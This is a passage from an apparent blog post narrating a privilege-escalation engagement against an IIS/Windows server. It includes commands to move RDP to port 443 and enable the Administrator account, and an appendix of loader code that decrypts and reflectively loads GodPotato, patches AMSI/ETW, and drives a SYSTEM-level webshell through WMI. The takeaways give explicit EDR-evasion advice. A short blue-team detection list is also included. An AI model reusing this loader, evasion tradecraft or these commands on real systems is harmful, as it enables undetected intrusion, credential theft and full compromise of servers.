src="https://cdn-images-1.medium.com/max/858/0*uw7X-6E_Xx9y8Bj_" /></figure><p>Every admin hash on the box, zero detection. RegSaveKeyW is backup software&#39;s API — the EDR that blocks process creation never looks twice at a file export. (For the record: rockyou cracked <strong>0/3</strong> — the admins used genuinely strong passwords, which is <em>nice to see</em> and annoying for us.)</p><h3>9. RDP on 443: the pivot and the plot twist</h3><p><strong>The constraint:</strong> Azure NSG blocks 3389 from the internet, and we can’t add NSG rules. <strong>The enabler:</strong> Windows Firewall already had <strong>“World Wide Web Services (HTTPS Traffic-In)” → LocalPort 443</strong> (auto-created by IIS). A listener on 443 is firewalled-open with <strong>zero new rules</strong>.</p><p>So: move RDP to 443 and enable a known admin as a guaranteed recovery login. Remember the disabled Administrator from §3? Time to fix that:</p><pre>reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; /v PortNumber /t REG_DWORD /d 443 /f<br>net user Administrator S3cureAdmin!2026 /active:yes<br>sc stop TermService &amp; sc start TermService</pre><p>Two details worth knowing:</p><ul><li><strong>net user ... /active:yes works</strong> — but setting the account flags with NetUserSetInfo level <strong>1001</strong> fails with err 87; level <strong>1008</strong> (UF_ACCOUNTDISABLE flag) is the one that sticks. The account went from disabled to enabled, password S3cureAdmin!2026.</li><li>Adding a <em>new</em> user to Administrators (NetLocalGroupAddMembers) returned <strong>error 1387</strong> for every name variant we tried — the EDR quietly interfering again. The enabled built-in Administrator was our recovery account instead.</li></ul><p>Then the plot twist. To free port 443 from IIS we stopped <strong>W3SVC</strong>… and discovered the hard way that <strong>stopping W3SVC does NOT release http.sys URL registrations</strong>. The <strong>WAS</strong> (Windows Process Activation Service) keeps them — http.sys keeps answering with 503 and <em>keeps holding the LISTEN socket</em>. TermService then failed to bind 443:</p><pre>$ xfreerdp /v::443 /u:Administrator /p:S3cureAdmin!2026 /cert:ignore<br>Connection reset by peer   # &lt;- that&#39;s http.sys, not RDP<br>$ curl https:///   # 503, site stopped</pre><p>And the kicker: our “port 443 is listening” check (GetTcpTable) returned <strong>success</strong> — because http.sys <em>was</em> listening. <strong>False positive.</strong> We&#39;d verified the wrong listener.</p><p><strong>The fix (for next time):</strong> stop <strong>WAS</strong> first (it deregisters http.sys URLs; W3SVC stops as its dependency), and verify the binding by <strong>owner PID</strong> (GetExtendedTcpTable) — RDP&#39;s listener is a svchost, not PID 4 (System/http.sys). Recovery: reboot — at boot, TermService binds 443 <em>before</em> WAS.</p><h3>10. What the blue team should watch for</h3><p>If you run IIS + Windows + an EDR, this engagement says:</p><ol><li><strong>Monitor </strong><strong>RegSaveKeyW</strong> against HKLM\SAM/SECURITY/SYSTEM from non-backup processes (4656/4663 + backup-privilege anomalies).</li><li><strong>Alert on </strong><strong>TermService restarts</strong> and RDP-Tcp PortNumber registry changes (Sysmon).</li><li><strong>Alert when a disabled built-in Administrator gets enabled</strong> (NetUserSetInfo, UserAccountControl flags).</li><li><strong>Check memory integrity</strong> — a patched AmsiScanBuffer/EtwEventWrite (first byte 0xC3) is a dead giveaway of in-memory tampering.</li><li><strong>Hunt for the pattern:</strong> web process → WMI Win32_Process.Create → short-lived powershell that outlives the request, plus <strong>pairs of files</strong> (agent_cmd.txt / agent_out.txt) appearing in web folders. That is a dropbox protocol for SYSTEM ops.</li><li><strong>Remember the job object is not a control:</strong> w3wp’s job object blocked our in-process potato, but <strong>WMI children escape it</strong> — monitor process ancestry: wmiprvse should not be the parent of powershell on a healthy web server.</li><li><strong>Restrict </strong><strong>SeImpersonatePrivilege</strong> on IIS app pools (run pools as dedicated low-priv users).</li><li><strong>Harden SQL Server:</strong> no xp_cmdshell, parameterized queries everywhere, strong sa password. This entire chain started with one string-concatenated SQL query.</li></ol><h3>11. Takeaways</h3><ul><li><strong>The EDR blocks behavior, not intent.</strong> Elevated process creation is watched; in-process impersonation is not. Design payloads around what the defender doesn’t watch.</li><li><strong>Never write a public exploit binary to disk.</strong> Encrypt at rest, reflect in memory, patch AMSI/ETW first.</li><li><strong>Source hygiene beats packing.</strong> Renames + char-array strings + new GUIDs defeat static scanning at zero runtime cost.</li><li><strong>One-shot beats persistent.</strong> A long-lived potato context got killed; per-operation short-lived executors completed every single time. Deterministic &gt; elegant.</li><li><strong>The dropbox protocol is a great UI for privilege.</strong> A web page can’t hold a SYSTEM token (job object), but it can <em>ask</em> for one per operation. Seq numbers make it race-free.</li><li><strong>Offline hive export is a stealthy credential harvest.</strong> RegSaveKeyW + secretsdump beats LSASS dumping every time.</li><li><strong>Know your service stack.</strong> W3SVC stop ≠ free HTTP listeners — that’s WAS. Verify with owner-PID checks, not “is something listening”.</li><li><strong>Keep a recovery path before risky changes.</strong> Enable that admin account <em>before</em> you break the webshell.</li></ul><h3>Appendix: the one-shot SYSTEM executor (ldr13)</h3><pre>// ldr13.cs — condensed, de-obfuscated for readability.<br>// One op per process: read agent_cmd.txt -&gt; potato -&gt; SYSTEM -&gt; execute -&gt; agent_out.txt -&gt; exit.<br>using System;<br>using System.IO;<br>using System.Reflection;<br>using System.Security.Principal;<br>using System.Runtime.InteropServices;<br>using Microsoft.Win32;</pre><pre>class Ldr13 {<br>    [DllImport(&quot;kernel32.dll&quot;)] static extern IntPtr GetProcAddress(IntPtr h, string p);<br>    [DllImport(&quot;kernel32.dll&quot;)] static extern IntPtr LoadLibrary(string n);<br>    [DllImport(&quot;kernel32.dll&quot;)] static extern bool VirtualProtect(IntPtr a, uint s, uint np, out uint op);<br>    [DllImport(&quot;advapi32.dll&quot;)] static extern bool DuplicateTokenEx(IntPtr e, uint da, IntPtr la, int il, int tt, out IntPtr n);<br>    [DllImport(&quot;advapi32.dll&quot;)] static extern bool ImpersonateLoggedOnUser(IntPtr h);<br>    [DllImport(&quot;advapi32.dll&quot;)] static extern bool LookupPrivilegeValueW(string s, string n, out LUID l);<br>    [DllImport(&quot;advapi32.dll&quot;)] static extern bool AdjustTokenPrivileges(IntPtr t, bool d, ref TP tp, uint o, IntPtr p, IntPtr r);</pre><pre>    static void Patch(string d, string f) { /* AmsiScanBuffer / EtwEventWrite -&gt; 0xC3 */ }</pre><pre>    static string Execute(string[] lines) {<br>        // lines[0]=seq lines[1]=op lines[2..]=base64 args<br>        switch (lines[1].ToUpper()) {<br>            case &quot;LIST&quot;:  return OpList(Unb64(lines[2]));<br>            case &quot;READ&quot;:  return OpRead(Unb64(lines[2]));<br>            case &quot;WRITE&quot;: return OpWrite(Unb64(lines[2]), lines[3]);<br>            case &quot;DEL&quot;:   File.Delete(Unb64(lines[2])); return &quot;deleted&quot;;<br>            case &quot;MKDIR&quot;: Directory.CreateDirectory(Unb64(lines[2])); return &quot;created&quot;;<br>            case &quot;REN&quot;:   File.Move(Unb64(lines[2]), Unb64(lines[3])); return &quot;renamed&quot;;<br>            case &quot;REG&quot;:   return OpReg(lines[2]);   // hive + subkey<br>            case &quot;WHOAMI&quot;:return WindowsIdentity.GetCurrent().Name;<br>            default:      return &quot;ERR unknown op&quot;;<br>        }<br>    }</pre><pre>    static void Main(string[] args) {<br>        Patch(&quot;amsi.dll&quot;, &quot;AmsiScanBuffer&quot;);<br>        Patch(&quot;ntdll.dll&quot;, &quot;EtwEventWrite&quot;);</pre><pre>        byte[] enc = File.ReadAllBytes(args[1]);          // orig.bin (XOR-encrypted GodPotato)<br>        byte[] key = new byte[] { 0xcc,0x89,0x40,0x53,0x6d,0xad,0x29,0xc2,0xfd,0xff,0x26,0x81,0xfa,0x40,0x16,0xc2 };<br>        byte[] dec = new byte[enc.Length];<br>        for (int i = 0; i &lt; enc.Length; i++) dec[i] = (byte)(enc[i] ^ key[i % 16]);</pre><pre>        Assembly asm = Assembly.Load(dec);<br>        // ... GodPotato HookRPC + Start + Trigger + GetToken (see §4) ...<br>        IntPtr tok; DuplicateTokenEx(sysId.Token, 0x1AF, IntPtr.Zero, 2, 1, out tok);<br>        ImpersonateLoggedOnUser(tok);</pre><pre>        string[] lines = File.ReadAllLines(&quot;agent_cmd.txt&quot;);   // webroot, app pool writes<br>        string result = lines[0] + &quot;\r\n&quot; + Execute(lines);<br>        File.WriteAllText(&quot;agent_out.txt&quot;, result);            // fm.aspx polls this, seq-matched<br>    }<br>}</pre><p>And the web page side — spawn the one-shot with WMI and poll for the seq:</p><pre>// fm.aspx (app pool): the SYSTEM-agent dispatcher<br>string ps = &quot;$enc=[IO.File]::ReadAllBytes(&#39;C:\\inetpub\\wwwroot\\...\\ldr13.bin&#39;);&quot;<br>          + &quot;$key=[byte[]]@(0xa2,0xe6,...);$dec=New-Object byte[] $enc.Length;&quot;<br>          + &quot;for($i=0;$i -lt $enc.Length;$i++){$dec[$i]=$enc[$i] -bxor $key[$i%16]};&quot;<br>          + &quot;$asm=[Reflection.Assembly]::Load($dec);&quot;<br>          + &quot;$a=[object[]]@(,[string[]]@(&#39;x&#39;,&#39;C:\\inetpub\\wwwroot\\...\\orig.bin&#39;));&quot;<br>          + &quot;$asm.EntryPoint.Invoke($null,$a)&quot;;</pre><pre>ManagementClass mc = new ManagementClass(&quot;Win32_Process&quot;);<br>ManagementBaseObject p = mc.GetMethodParameters(&quot;Create&quot;);<br>p[&quot;CommandLine&quot;] = &quot;powershell -NoProfile -ExecutionPolicy Bypass -c \&quot;&quot; + ps + &quot;\&quot;&quot;;<br>mc.InvokeMethod(&quot;Create&quot;, p, null);      // child of wmiprvse -&gt; OUTSIDE the job object</pre><pre>// poll agent_out.txt until line[0] == our seq (200ms x 75 = 15s timeout)</pre><p><em>Thanks for reading. Comments, corrections, and blue-team countermeasures are welcome.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55e2d0a92473" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>